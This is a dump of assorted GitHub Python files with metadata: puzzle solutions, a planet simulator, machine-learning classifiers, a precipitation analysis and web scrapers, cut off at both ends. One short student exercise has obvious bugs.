\"VH\": \"O\",\n \"OF\": \"O\",\n \"HP\": \"K\",\n \"CO\": \"V\",\n \"VS\": \"V\",\n \"SB\": \"F\",\n \"SS\": \"K\",\n \"CF\": \"O\",\n \"OK\": \"V\",\n \"ON\": \"B\",\n \"NS\": \"H\",\n \"SO\": \"B\",\n \"NV\": \"V\",\n \"NH\": \"B\",\n \"NN\": \"K\",\n \"KH\": \"H\",\n \"FV\": \"B\",\n \"KK\": \"N\",\n \"OB\": \"F\",\n \"NK\": \"F\",\n \"CC\": \"S\",\n \"PP\": \"B\",\n \"PF\": \"H\",\n \"HC\": \"P\",\n \"PV\": \"F\",\n \"BV\": \"N\",\n \"NF\": \"N\",\n \"HV\": \"S\",\n \"HH\": \"C\",\n \"HS\": \"O\",\n \"CP\": \"O\",\n}\n\n\ninitial_pairs = {}\nfor i in range(len(initial_polymer) - 1):\n pair = f\"{initial_polymer[i]}{initial_polymer[i+1]}\"\n initial_pairs[pair] = initial_pairs.get(pair, 0) + 1\n\n\ndef compute_next_polymer2(polymer):\n new_polymer = {}\n for pair in polymer:\n if pair in insertion_rules:\n number_of_pair = polymer[pair]\n # Get new element\n new_element = insertion_rules[pair]\n\n # Add pairs with first element and new element\n new_pair_with_first_element = f\"{pair[0]}{new_element}\"\n new_polymer[new_pair_with_first_element] = (\n new_polymer.get(new_pair_with_first_element, 0) + number_of_pair\n )\n\n # Add pairs with new element and second element\n new_pair_with_second_element = f\"{new_element}{pair[1]}\"\n new_polymer[new_pair_with_second_element] = (\n new_polymer.get(new_pair_with_second_element, 0) + number_of_pair\n )\n else:\n new_polymer[pair] = polymer[pair]\n\n return new_polymer\n\n\ndef grow_polymer(initial_polymer, steps):\n initial_pairs = {}\n for i in range(len(initial_polymer) - 1):\n pair = f\"{initial_polymer[i]}{initial_polymer[i+1]}\"\n initial_pairs[pair] = initial_pairs.get(pair, 0) + 1\n\n polymer_map = dict(initial_pairs)\n for i in range(steps):\n polymer_map = compute_next_polymer2(polymer_map)\n\n element_counts = {}\n for pair in polymer_map:\n count = polymer_map[pair]\n element_counts[pair[0]] = element_counts.get(pair[0], 0) + count\n element_counts[pair[1]] = element_counts.get(pair[1], 0) + count\n\n # Add one to account for first and last char\n element_counts[initial_polymer[0]] = element_counts[initial_polymer[0]] + 1\n element_counts[initial_polymer[-1]] = element_counts[initial_polymer[-1]] + 1\n\n element_counts = sorted(list(Counter(element_counts).values()))\n print((element_counts[-1] - element_counts[0]) / 2)\n\n\ngrow_polymer(initial_polymer, 10)\n\ngrow_polymer(initial_polymer, 40)\n","repo_name":"jrochette/recipebook","sub_path":"advent_of_code_day14.py","file_name":"advent_of_code_day14.py","file_ext":"py","file_size_in_byte":3664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"31354456096","text":"\"\"\"\nТекстовый файл *.txt содержит только заглавные буквы латинского алфавита (ABC…Z). \nОпредели максимальное количество идущих подряд символов, среди которых нет сочетания символов NO\n\"\"\"\n\nf = open(\"\").readlines()\nm = f.reaplce(\"NO\", \"N O\")\nf = f.split(\" \")\nf = max([len(i) for i in range])\n\nprint(f)","repo_name":"Munkushi/infa-ege","sub_path":"number_24/x.py","file_name":"x.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"29788286994","text":"import pygame, math\r\nfrom sys import exit\r\n\r\n# pygame initialisation\r\npygame.init()\r\nWIDTH, HEIGHT = 1000, 1000\r\nscreen = pygame.display.set_mode((WIDTH, HEIGHT))\r\npygame.display.set_caption('Plenet Simulator')\r\nFPS = 60\r\n\r\n# colours\r\nWHITE = (255, 255, 255)\r\nYELLOW = (255, 255, 0)\r\nBLUE = (100, 149, 237)\r\nRED = (188, 39, 50)\r\nDARK_GREY = (80, 78, 81)\r\n\r\n# planet class\r\nclass Planet():\r\n AU = 1.496e+8 * 1000\r\n G = 6.67428e-11\r\n SCALE = 15 / AU # 1 AU = 15 px\r\n TIMESTEP = 3600 * 24 * 7 # 1 week\r\n\r\n def __init__(self, x, y, radius, color, mass):\r\n self.x = x\r\n self.y = y\r\n self.radius = radius\r\n self.color = color\r\n self.mass = mass\r\n\r\n self.vel_x = 0\r\n self.vel_y = 0\r\n\r\n self.sun = False\r\n self.distance_to_sun = 0\r\n self.orbit = []\r\n \r\n def draw(self, screen):\r\n x = self.x * self.SCALE + WIDTH//2\r\n y = self.y * self.SCALE + HEIGHT//2\r\n\r\n if len(self.orbit) > 2:\r\n del self.orbit[:-10000]\r\n updated_points = [(x * self.SCALE + WIDTH//2, y * self.SCALE + HEIGHT//2) for x, y in self.orbit]\r\n pygame.draw.lines(screen, self.color, False, updated_points, 2)\r\n\r\n pygame.draw.circle(screen, self.color, (x,y), self.radius)\r\n\r\n def attraction(self, other):\r\n dist_x = other.x - self.x\r\n dist_y = other.y - self.y\r\n distance = math.sqrt(dist_x**2 + dist_y**2)\r\n\r\n if other.sun:\r\n self.distance_to_sun = distance\r\n \r\n force = (self.G * self.mass * other.mass) / distance**2\r\n theta = math.atan2(dist_y, dist_x)\r\n force_x = math.cos(theta) * force\r\n force_y = math.sin(theta) * force\r\n\r\n return force_x, force_y\r\n \r\n def update_pos(self, planets):\r\n ttl_fx = ttl_fy = 0\r\n for planet in planets:\r\n if self == planet:\r\n continue\r\n fx, fy = self.attraction(planet)\r\n ttl_fx += fx\r\n ttl_fy += fy\r\n \r\n self.vel_x += (ttl_fx / self.mass) * self.TIMESTEP\r\n self.vel_y += (ttl_fy / self.mass) * self.TIMESTEP\r\n\r\n self.x += self.vel_x * self.TIMESTEP\r\n self.y += self.vel_y * self.TIMESTEP\r\n self.orbit.append((self.x, self.y))\r\n\r\n\r\n# main\r\ndef main():\r\n clock = pygame.time.Clock()\r\n\r\n # initialise planets\r\n sun = Planet(0, 0, 30, YELLOW, 1.9891 * 10**30)\r\n sun.sun = True\r\n \r\n mercury = Planet(-0.387 * Planet.AU, 0, 16, DARK_GREY, 3.285 * 10**23)\r\n mercury.vel_y = 47.4 * 1000\r\n venus = Planet(-0.7 * Planet.AU, 0, 16, WHITE, 4.867 * 10**24)\r\n venus.vel_y = 35.02 * 1000\r\n earth = Planet(-1 * Planet.AU, 0, 16, BLUE, 5.97219 * 10**24)\r\n earth.vel_y = 29.783 * 1000\r\n mars = Planet(-1.5 * Planet.AU, 0, 12, RED, 6.39 * 10**23)\r\n mars.vel_y = 24.077 * 1000\r\n jupiter = Planet(-5.2 * Planet.AU, 0, 30, 'brown', 1.898 * 10**27)\r\n jupiter.vel_y = 13.06 * 1000\r\n saturn = Planet(-9.5 * Planet.AU, 0, 30, 'antiquewhite3', 5.683 * 10**26)\r\n saturn.vel_y = 9.68 * 1000\r\n uranus = Planet(-19.8 * Planet.AU, 0, 30, BLUE, 8.681 * 10**25)\r\n uranus.vel_y = 6.08 * 1000\r\n neptune = Planet(-30 * Planet.AU, 0, 30, 'blue', 1.024 * 10**26)\r\n neptune.vel_y = 5.43 * 1000\r\n\r\n planets = [sun, mercury, venus, earth, mars, jupiter, saturn, uranus, neptune]\r\n\r\n while True:\r\n # event loop\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n exit()\r\n \r\n if event.type == pygame.KEYDOWN:\r\n # scale\r\n if event.key == pygame.K_UP:\r\n Planet.SCALE += 5 / Planet.AU\r\n elif event.key == pygame.K_DOWN:\r\n Planet.SCALE -= 5 / Planet.AU\r\n \r\n # timestep\r\n if event.key == pygame.K_RIGHT:\r\n Planet.TIMESTEP += 3600 * 24\r\n elif event.key == pygame.K_LEFT:\r\n Planet.TIMESTEP -= 3600 * 24\r\n \r\n screen.fill('black')\r\n\r\n for planet in planets:\r\n if not planet.sun: planet.update_pos(planets)\r\n planet.draw(screen)\r\n\r\n pygame.display.update() \r\n clock.tick(FPS)\r\n\r\nmain()","repo_name":"AryenSinghal/Planets-Simulation","sub_path":"plenets.py","file_name":"plenets.py","file_ext":"py","file_size_in_byte":4307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"4902758054","text":"import random\n\n\ndef eight_ball():\n \"\"\"\n Magic eight ball.\n\n :return: A random answer.\n :rtype: str\n \"\"\"\n answers = [\n 'It is certain', 'It is decidedly so', 'without a doubt', 'Yes definitely',\n 'You may rely on it', 'As I see it, yes', 'Most likely', 'Outlook good',\n 'Yes', 'Signs point to yes', 'Reply hazy try again', 'Ask again later',\n 'Better not tell you now', 'Cannot predict now', 'Concentrate and ask again',\n 'Don\\'t count on it', 'My reply is no', 'My sources say no', 'Outlook not so good',\n 'Very doubtful'\n ]\n return random.choice(answers)\n\n\ndef flip_coin():\n \"\"\"\n Flip a coin.\n\n :return: Heads or tails.\n :rtype: str\n \"\"\"\n coin = ['heads', 'tails']\n return random.choice(coin)\n\n\ndef roll_dice():\n \"\"\"\n Roll a 6 sided dice.\n\n :return: A number between 1 and 6.\n :rtype: str\n \"\"\"\n numbers = ['1', '2', '3', '4', '5', '6']\n return random.choice(numbers)\n","repo_name":"nortxort/nortbot","sub_path":"apis/locals_.py","file_name":"locals_.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"68"}
+{"seq_id":"15003404084","text":"# Problem:\n# Given an array containing n distinct numbers taken from 0, 1, 2, ..., n, find the one that is missing from the array. \n\nclass Solution(object):\n def missingNumber(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n for elm,expected in zip(sorted(nums),list(range(max(nums)+1))):\n if elm != expected:\n return(expected)\n return(elm+1)","repo_name":"OhMesch/Algorithm-Problems","sub_path":"268-Missing-Number.py","file_name":"268-Missing-Number.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"19582429680","text":"def all_even(number_list):\n \"\"\"Return a list of only the even numbers in the input list.\n\n >>> all_even([2, 6, -1, -2])\n [2, 6, -2]\n\n >>> all_even([-1, 3, 5])\n []\n\n \"\"\"\n for num in number_list[:]:\n if num % 2 != 0:\n number_list.remove(num)\n return number_list\n #return ['the wrong thing']\n\nprint (all_even([2, 6, -1, -2]))\nprint (all_even([-1, 3, 5]))","repo_name":"Geeksten/week1_skills-assessment","sub_path":"all_even.py","file_name":"all_even.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"10657103902","text":"import numpy as np\nfrom gensim.models import KeyedVectors\nfrom conllu import parse\nfrom sklearn.metrics import log_loss\nfrom keras.models import Model\nfrom keras.layers import Dense, Dropout, Input, LSTM, Bidirectional, Flatten\nfrom keras.optimizers import SGD\nfrom sklearn.preprocessing import label_binarize \n\ndef prepare_data(filename):\n with open(filename, 'r', encoding='utf-8') as f:\n data = f.read()\n trees = parse(data)\n return get_data(trees)\n\ndef process_tree(tree):\n processed_tree = {}\n for word in tree:\n processed_tree[word[\"id\"]] = [word[\"lemma\"].lower(), word[\"head\"], word[\"deprel\"]]\n return processed_tree \n\ndef get_data(trees):\n features, labels = [], []\n for tree in trees:\n processed_tree = process_tree(tree)\n for key, value in processed_tree.items():\n word_lem = value[0]\n head_id = value[1] \n head_lem = processed_tree[head_id][0] if head_id != 0 else \"\"\n dep = value[2]\n if (word_lem in gensim_model and head_lem in gensim_model): \n head_vector = gensim_model[head_lem] if head_id != 0 else np.zeros(300)\n features.append(np.append(head_vector, gensim_model[word_lem]))\n labels.append(dep)\n return np.array(features), labels\n\nprint(\"Load Vectors\")\ngensim_model = KeyedVectors.load_word2vec_format(\"fiction.lowercased.lemmatized.300d\")\nprint(\"Load Train Data\")\ntrain_features, train_labels = prepare_data('uk_iu-ud-train.conllu')\nprint(\"Load Test Data\")\ntest_features, test_labels = prepare_data('uk_iu-ud-test.conllu')\n\nprint(\"Binarize Labels\")\nlabels_dict = {x: 1 for x in train_labels + test_labels}\nlabels_list = [key for key, value in labels_dict.items()]\n\ntrain_labels = label_binarize(train_labels, classes=labels_list)\ntest_labels = label_binarize(test_labels, classes=labels_list)\n\n\nprint(\"Build Keras Model\")\n# LSTM network\ninputs = Input(shape=(600,1))\n\nx = Bidirectional(LSTM(64, return_sequences=True),\n merge_mode='concat')(inputs)\nx = Dropout(0.2)(x)\nx = Flatten()(x)\noutputs = Dense(len(labels_list), activation='softmax')(x)\n\nkeras_model = Model(inputs=inputs, outputs=outputs, name='LSTM')\ntrain_features = np.expand_dims(train_features, axis=2)\ntest_features = np.expand_dims(test_features, axis=2)\n\nprint(\"Compile Keras Model\")\n# Compile the model\nsgd = SGD(lr=0.01, decay=1e-6, momentum=0.9, nesterov=True)\nkeras_model.compile(optimizer=sgd, loss='categorical_crossentropy', metrics=['acc'])\n\n# Define number of epochs\nepochs = 15\n\nprint(\"Fit Model\")\n\n# Fit the model to the training data\nestimator = keras_model.fit(train_features, train_labels, validation_split=0.2, epochs=epochs, batch_size=128, verbose=1)\n\nprint(\"Training accuracy: %.2f%% / Validation accuracy: %.2f%%\" % \n (100*estimator.history['acc'][-1], 100*estimator.history['val_acc'][-1]))\n\nprint(\"Make Prediction\")\n# Make predictions\npredicted_prob = keras_model.predict(test_features)\n\n# Report log loss and score\nloss_sk = log_loss(test_labels, predicted_prob)\nprint('Log loss is: {}'.format(loss_sk))","repo_name":"sudodoki/prj-nlp","sub_path":"students/anastasiia_nutsa/11/UDepParser.pyw","file_name":"UDepParser.pyw","file_ext":"pyw","file_size_in_byte":3123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"37004701567","text":"#coding:utf-8\nimport requests\nimport threading\nfrom bs4 import BeautifulSoup\nimport re\nimport os\nimport time\nimport sys\n\n\n#请求头字典\nreq_header={\n\n\n'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n'Accept-Encoding':'gzip, deflate',\n'Accept-Language':'zh-CN,zh;q=0.8',\n'Cache-Control':'max-age=0',\n'Connection':'keep-alive',\n'Cookie':'UM_distinctid=16168fde09f26b-0537c19fda550a-6b1b1279-13c680-16168fde0a0579; CNZZDATA1262370505=1455279024-1517880909-https%253A%252F%252Fwww.baidu.com%252F%7C1517978164',\n'Host':'www.xxbiquge.com',\n'If-Modified-Since':'Fri, 01 Dec 2017 12:56:21 GMT',\n'If-None-Match':'W/\"5a215175-19f8e\"',\n'Referer':'https://www.baidu.com/link?url=CKL6orNW3U0_kvak-7yrwW17WQdCS2PoTROZY4-UrIHipK9UsFPQOYqoZSq5Ucnl&wd=&eqid=ddcc05780001ebac000000065a7a846a',\n'Upgrade-Insecure-Requests':'1',\n'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',\n\n}\n\n\nreq_url_base='https://www.xxbiquge.com/' #小说主地址\n\n#小说下载函数\n#txt_id:小说编号\n#txt字典项介绍\n#id:小说编号\n# title:小说题目\n# first_page:第一章页面\n# txt_section:章节地址\n# section_name:章节名称\n# section_text:章节正文\n# section_ct:章节页数\ndef get_txt(txt_id):\n txt={}\n txt['title']=''\n txt['id']=str(txt_id)\n try:\n #print(\"请输入需要下载的小说编号:\")\n #txt['id']=input()\n req_url=req_url_base+ txt['id']+'/' #根据小说编号获取小说URL\n print(\"小说编号:\"+txt['id'])\n res=requests.get(req_url,params=req_header) #获取小说目录界面\n res.encoding='utf-8' #显式地指定网页编码,一般情况可以不用\n soups=BeautifulSoup(res.text,\"html.parser\") #soup转化\n #获取小说题目\n txt['title']=soups.select('#wrapper .box_con #maininfo #info h1')[0].text\n txt['author']=soups.select('#wrapper .box_con #maininfo #info p')\n #获取小说最近更新时间\n txt['update']=txt['author'][2].text\n #获取最近更新章节名称\n txt['lately'] = txt['author'][3].text\n #获取小说作者\n txt['author']=txt['author'][0].text\n #获取小说简介\n txt['intro']=soups.select('#wrapper .box_con #maininfo #intro')[0].text.strip()\n print(\"编号:\"+'{0:0>8} '.format(txt['id'])+ \"小说名:《\"+txt['title']+\"》 开始下载。\")\n print(\"正在寻找第一章页面。。。\")\n #获取小说所有章节信息\n first_page=soups.select('#wrapper .box_con #list dl dd a')\n #获取小说总章页面数\n section_ct=len(first_page)\n #获取小说第一章页面地址\n first_page = first_page[0]['href'].split('/')[2]\n print(\"小说章节页数:\"+str(section_ct))\n print(\"第一章地址寻找成功:\"+ first_page)\n #设置现在下载小说章节页面\n txt_section=first_page\n #打开小说文件写入小说相关信息\n fo = open('{0:0>8}-{1}.txt.download'.format(txt['id'],txt['title']), \"ab+\")\n fo.write((txt['title']+\"\\r\\n\").encode('UTF-8'))\n fo.write((txt['author'] + \"\\r\\n\").encode('UTF-8'))\n fo.write((txt['update'] + \"\\r\\n\").encode('UTF-8'))\n fo.write((txt['lately'] + \"\\r\\n\").encode('UTF-8'))\n fo.write((\"*******简介*******\\r\\n\").encode('UTF-8'))\n fo.write((\"\\t\"+txt['intro'] + \"\\r\\n\").encode('UTF-8'))\n fo.write((\"******************\\r\\n\").encode('UTF-8'))\n #进入循环,写入每章内容\n while(1):\n try:\n #请求当前章节页面\n r=requests.get(req_url+str(txt_section),params=req_header)\n r.encoding='utf-8' #显式地指定网页编码,一般情况可以不用\n #soup转换\n soup=BeautifulSoup(r.text,\"html.parser\")\n #获取章节名称\n section_name=soup.select('#wrapper .content_read .box_con .bookname h1')[0]\n section_text=soup.select('#wrapper .content_read .box_con #content')[0]\n #获取章节文本\n section_text=re.sub( '\\s+', '\\r\\n\\t', section_text.text).strip('\\r\\n')#\n #获取下一章地址\n txt_section=soup.select('#wrapper .content_read .box_con .bottem2 a')[2]['href'].split('/')[2]\n #判断是否最后一章,当为最后一章时,会跳转至目录地址,最后一章则跳出循环\n if(txt_section==''):\n print(\"编号:\"+'{0:0>8} '.format(txt['id'])+ \"小说名:《\"+txt['title']+\"》 下载完成\")\n break\n #以二进制写入章节题目\n fo.write((\"\\r\\n\"+section_name.text+\"\\r\\n\").encode('UTF-8'))\n #以二进制写入章节内容\n fo.write((section_text+'\\r\\n').encode('UTF-8'))\n print(txt['title']+' 章节:'+section_name.text+' 已下载')\n print(txt_section)\n except:\n print(\"编号:\"+'{0:0>8} '.format(txt['id'])+ \"小说名:《\"+txt['title']+\"》 章节下载失败,正在重新下载。\")\n fo.close()\n os.rename('{0:0>8}-{1}.txt.download'.format(txt['id'],txt['title']), '{0:0>8}-{1}.txt'.format(txt['id'],txt['title']))\n except: #出现错误会将错误信息写入dowload.log文件,同时答应出来\n fo_err = open('dowload.log', \"ab+\")\n try:\n fo_err.write(('['+time.strftime('%Y-%m-%d %X', time.localtime())+\"]:编号:\" + '{0:0>8} '.format(txt['id']) + \"小说名:《\" + txt['title'] + \"》 下载失败。\\r\\n\").encode('UTF-8'))\n print('['+time.strftime('%Y-%m-%d %X', time.localtime())+\"]:编号:\"+'{0:0>8} '.format(txt['id'])+ \"小说名:《\"+txt['title']+\"》 下载失败。\")\n os.rename('{0:0>8}'.format(txt['id']) + '-' + txt['title'] + '.txt.download',\n '{0:0>8}'.format(txt['id']) + '-' + txt['title'] + '.txt.error')\n except:\n fo_err.write(('['+time.strftime('%Y-%m-%d %X', time.localtime())+\"]:编号:\"+'{0:0>8} '.format(txt['id'])+\"下载失败。\\r\\n\").encode('UTF-8'))\n print('['+time.strftime('%Y-%m-%d %X', time.localtime())+\"]:编号:\"+'{0:0>8} '.format(txt['id'])+\"下载失败。\")\n finally: #关闭文件\n fo_err.close()\n\n#此处为需要下载小说的编号,编号获取方法在上文中已经讲过。\n# get_txt('20_20069')\n\nget_txt(\"79_79938\")","repo_name":"perennisY/python","sub_path":"05.py","file_name":"05.py","file_ext":"py","file_size_in_byte":6648,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"71910632857","text":"import torch\nfrom torch.autograd import Variable\nfrom torch.nn import functional as F\n\nclass LogisticRegression(torch.nn.Module):\n def __init__(self, input_dim, output_dim):\n super(LogisticRegression, self).__init__()\n self.linear = torch.nn.Linear(input_dim, output_dim)\n\n def forward(self, x):\n outputs = self.linear(x)\n return outputs\n\nclass FC2(torch.nn.Module):\n def __init__(self, input_dim, output_dim, dropout, dropout_p=0.5):\n super(FC2, self).__init__()\n self.fc1 = torch.nn.Linear(input_dim, 512)\n self.relu = torch.nn.ReLU()\n self.fc2 = torch.nn.Linear(512, output_dim)\n self.apply_dropout = dropout\n self.dropout = torch.nn.Dropout(dropout_p)\n\n def forward(self, x):\n x = self.fc1(x)\n x = self.relu(x)\n if self.apply_dropout:\n x = self.dropout(x)\n outputs = self.fc2(x)\n return outputs\n \n \nclass FC4(torch.nn.Module):\n def __init__(self, input_dim, output_dim, dropout, dropout_p=0.5):\n super(FC4, self).__init__()\n self.fc1 = torch.nn.Linear(input_dim, 512)\n self.relu = torch.nn.ReLU()\n self.fc2 = torch.nn.Linear(512, 512)\n self.fc3 = torch.nn.Linear(512, 512)\n self.fc4 = torch.nn.Linear(512, output_dim)\n self.apply_dropout = dropout\n self.do1 = torch.nn.Dropout(dropout_p)\n self.do2 = torch.nn.Dropout(dropout_p)\n self.do3 = torch.nn.Dropout(dropout_p)\n\n def forward(self, x):\n x = self.fc1(x)\n x = self.relu(x)\n if self.apply_dropout:\n x = self.do1(x)\n x = self.fc2(x)\n x = self.relu(x)\n if self.apply_dropout:\n x = self.do2(x)\n x = self.fc3(x)\n x = self.relu(x)\n if self.apply_dropout:\n x = self.do3(x)\n outputs = self.fc4(x)\n return outputs","repo_name":"hechmik/voxceleb_enrichment_age_gender","sub_path":"notebooks/src/gender_classifiers.py","file_name":"gender_classifiers.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"68"}
+{"seq_id":"35158412122","text":"from config import opt\n\nfrom keras import *\nfrom keras.optimizers import *\n\nfrom utils import *\n\ndef siamese_rnn(embedding_matrix,is_use_word):\n if is_use_word: text_len = opt.MAX_WORD_SEQUENCE_LENGTH\n else: text_len = opt.MAX_CHAR_SEQUENCE_LENGTH\n\n embedding_layer = Embedding( len(embedding_matrix),\n embedding_matrix.shape[1],\n weights=[embedding_matrix],\n input_length=text_len,\n trainable=False)\n\n norm = BatchNormalization()\n\n q1_input = Input(shape=(text_len,), dtype=\"int32\")\n q1 = embedding_layer(q1_input)\n q1 = norm(q1)\n q1_embed = SpatialDropout1D(0.3)(q1)\n\n\n q2_input = Input(shape=(text_len,), dtype=\"int32\")\n q2 = embedding_layer(q2_input)\n q2 = norm(q2)\n q2_embed = SpatialDropout1D(0.3)(q2)\n\n # char_bilstm_layer1 = Bidirectional(LSTM(300, return_sequences=True),merge_mode='sum')\n # char_bilstm_layer2 = Bidirectional(LSTM(300, return_sequences=True),merge_mode='sum')\n char_bilstm_layer1 = Bidirectional(CuDNNLSTM(300, return_sequences=True),merge_mode='sum')\n char_bilstm_layer2 = Bidirectional(CuDNNLSTM(300, return_sequences=True),merge_mode='sum')\n\n q1_temp,q2_temp = char_bilstm_layer1(q1_embed),char_bilstm_layer1(q2_embed)\n q1,q2 = char_bilstm_layer2(q1_temp),char_bilstm_layer2(q2_temp)\n\n merged_max = pool_corr(q1, q2, 'max', 'jaccard')\n merged_ave = pool_corr(q1, q2, 'ave', 'jaccard')\n\n # features_input = Input(shape=[features_train.shape[1]], dtype='float')\n # features_dense = BatchNormalization()(features_input)\n # features_dense = Dropout(0.3)(Dense(1024, activation='relu')(features_dense))\n # features_dense = BatchNormalization()(features_dense)\n # features_dense = Dense(512, activation='relu')(features_dense)\n\n features = Input(shape=(5,), dtype=\"float32\")\n\n merged = concatenate([merged_ave,merged_max,features])\n # merged = Dropout(0.2)(merged)\n # merged = BatchNormalization()(merged)\n merged = Dense(512,activation='relu')(merged)\n merged = Dense(512,activation='relu')(merged)\n output = Dense(1, activation='sigmoid')(merged)\n\n lr=0.0002\n\n model = Model(inputs=[q1_input,q2_input,features], outputs=output)\n\n model.compile(loss='binary_crossentropy',optimizer=Nadam(lr),metrics=['binary_crossentropy','accuracy',f1])\n # model.load_weights(\"./data/weights_best_0.0008.hdf5\")\n\n return model","repo_name":"Typistzhao/chip2018","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2431,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"15230601479","text":"# -*- coding: utf-8 -*-\n\"\"\" Descripción\nLectura de datos de precipitación.\nArchivos compilados de datos observacionales CR2 \n\nSitio web: http://www.cr2.cl/datos-de-precipitacion/\nArchivo: cr2_prDaily_2018_ghcn.zip\n\nJosé Ignacio Saldías \njose.saldias@cigiden.cl\n\"\"\"\n\n# =============================================================================\n# Dependencias requeridas\n# =============================================================================\n\n# Incluidas en python\nimport os\nimport time\n\n# Instaladas a través de Anaconda\nimport numpy as np\nimport pandas as pd\n\n# =============================================================================\n# Manejo de Directorio\n# =============================================================================\n\n# Nombres\ndir_loc = os.getcwd() # Directorio local\nn_archivo = 'cr2_prDaily_2018_ghcn.txt' # Nombre del archivo\n\n# Rutas\nr_archivo = os.path.join(dir_loc, n_archivo) # Ruta absoluta al archivo\n\n\n# =============================================================================\n# Guía general para la extracción de datos y cómputos iniciales\n# =============================================================================\n\n# Lectura de datos\nprint('\\nLeyendo archivo: {}'.format(n_archivo)) # Punto de seguimiento\ninicio = time.process_time() # Medición de desempeño\ndf = pd.read_csv(r_archivo, # Ruta del archivo a abrir\n na_values=[-9999], # -9999 pasa a ser NaN\n index_col = 0, # Índice de DataFrame\n low_memory=False) # Uso para leer múltiples datatypes\nprint('Lectura de datos realizada en:',round(time.process_time() - inicio, 1),\n 'segundos\\n')\n\n# Resumen de todas las estaciones\nprint('Resumen de todas las estaciones:\\n',\n df.iloc[0:14])\n\n# También se pueden sortear estaciones por nombre\ndf.columns = df.loc['nombre'].values\nprint('Estaciones sorteadas por nombre')\n\n# Selección según atributo (ej. nombre de estaciones en latitudes -30 y -35)\ne_filtradas = df.loc['latitud'][(\n df.loc['latitud'].astype(float)<-30)\n & \n (df.loc['latitud'].astype(float)>-35)]\nprint('Estaciones entre latitudes -30 y -35\\n',e_filtradas)\n\n# =============================================================================\n# Ejemplo Quinta Normal\n# =============================================================================\nprint('\\n===============================================================\\n\\n',\n 'Seleccionando estación Quinta Normal Santiago')\nqta_n = df['Quinta Normal Santiago'].iloc[14::].astype(float) # Filtro inicial\n\n# Selección por fechas\nprint('Seleccionando preiodo 1979-01-01 a 2016-12-31')\nqta_n = qta_n[(qta_n.index >= '1979-01-01') & (qta_n.index <= '2016-12-31')] \n\n# Resampleado a frecuencia anual\nprint('Tranformando índice para resampleado\\n')\nqta_n.index = pd.to_datetime(qta_n.index)\nprint('Resampleando datos')\nqta_n_s = qta_n.resample('YS').sum()\nqta_n = qta_n.resample('YS').max()\n\n\ndef resumen_estadisticas(df):\n print('Resumen de estadisticas')\n media = df.mean()\n mediana = df.median()\n desv = df.std()\n kurtosis = df.kurtosis()\n n_mayores = df.nlargest(10)\n n_menores = df.nsmallest(10)\n \n print('\\n############################\\n',\n '\\nMedia:\\t', media,\n '\\nMediana:\\t', mediana,\n '\\nDesvición:\\t', desv,\n '\\nKurtosis:\\t', kurtosis,\n '\\n\\n10 mayores:\\n\\t', n_mayores,\n '\\n\\n10 menores:\\n\\t', n_menores,\n '\\n-----------------------'\n )\n return\n\n# Resumen de estadisticas precipitaciones máximas anuales\nprint('\\n Resampleado de datos a precipitacion anual acumulada')\nresumen_estadisticas(qta_n)\n\nprint('\\n Resampleado de datos a precipitacion anual acumulada')\n# Resumen de estadisticas\nresumen_estadisticas(qta_n_s)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"JoseSaldias/Pydraulics","sub_path":"Hidrologia/(Python) Lectura y analisis estaciones CR2/examinacion_estaciones.py","file_name":"examinacion_estaciones.py","file_ext":"py","file_size_in_byte":3913,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"32179070216","text":"from matplotlib.pyplot import table\r\nimport requests \r\nimport pandas as pd \r\nfrom bs4 import BeautifulSoup\r\n\r\n\r\nurl = 'https://www.amazon.it/Philips-hd2581-00-Tostapane-nero/dp/B01N9XBDTI/ref=sr_1_5?__mk_it_IT=%C3%85M%C3%85%C5%BD%C3%95%C3%91&crid=26VHA14FAG6ZX&keywords=toaster&qid=1648288905&sprefix=toaster%2Caps%2C80&sr=8-5&th=1'\r\n\r\ndef scrape_amz_tables(url): \r\n # Use splash to scrape the web \r\n r = requests.get('http://localhost:8050/render.html', params = {'url': url, 'wait':2})\r\n soup = BeautifulSoup(r.text, 'html.parser')\r\n\r\n # find the table\r\n table_attrib = soup.find('table', {'id': 'productDetails_techSpec_section_1'})\r\n \r\n col_names = []\r\n dati_tab = []\r\n # iterate along all the columns of the table\r\n for row in table_attrib.tbody.find_all('tr'):\r\n dati = row.text.replace('\\u200e', '')\r\n dati = ' '.join(dati.split())\r\n ind_split = dati.find(' ')\r\n col_names.append(dati[:ind_split]) \r\n dati_tab.append(dati[ind_split+1 :]) \r\n\r\n average_rating = float((soup.find('span', {'class' : 'a-icon-alt'}).text).replace(' su 5 stelle', '').replace(',', '.'))\r\n col_names.append('Average Rating')\r\n dati_tab.append(average_rating)\r\n df = 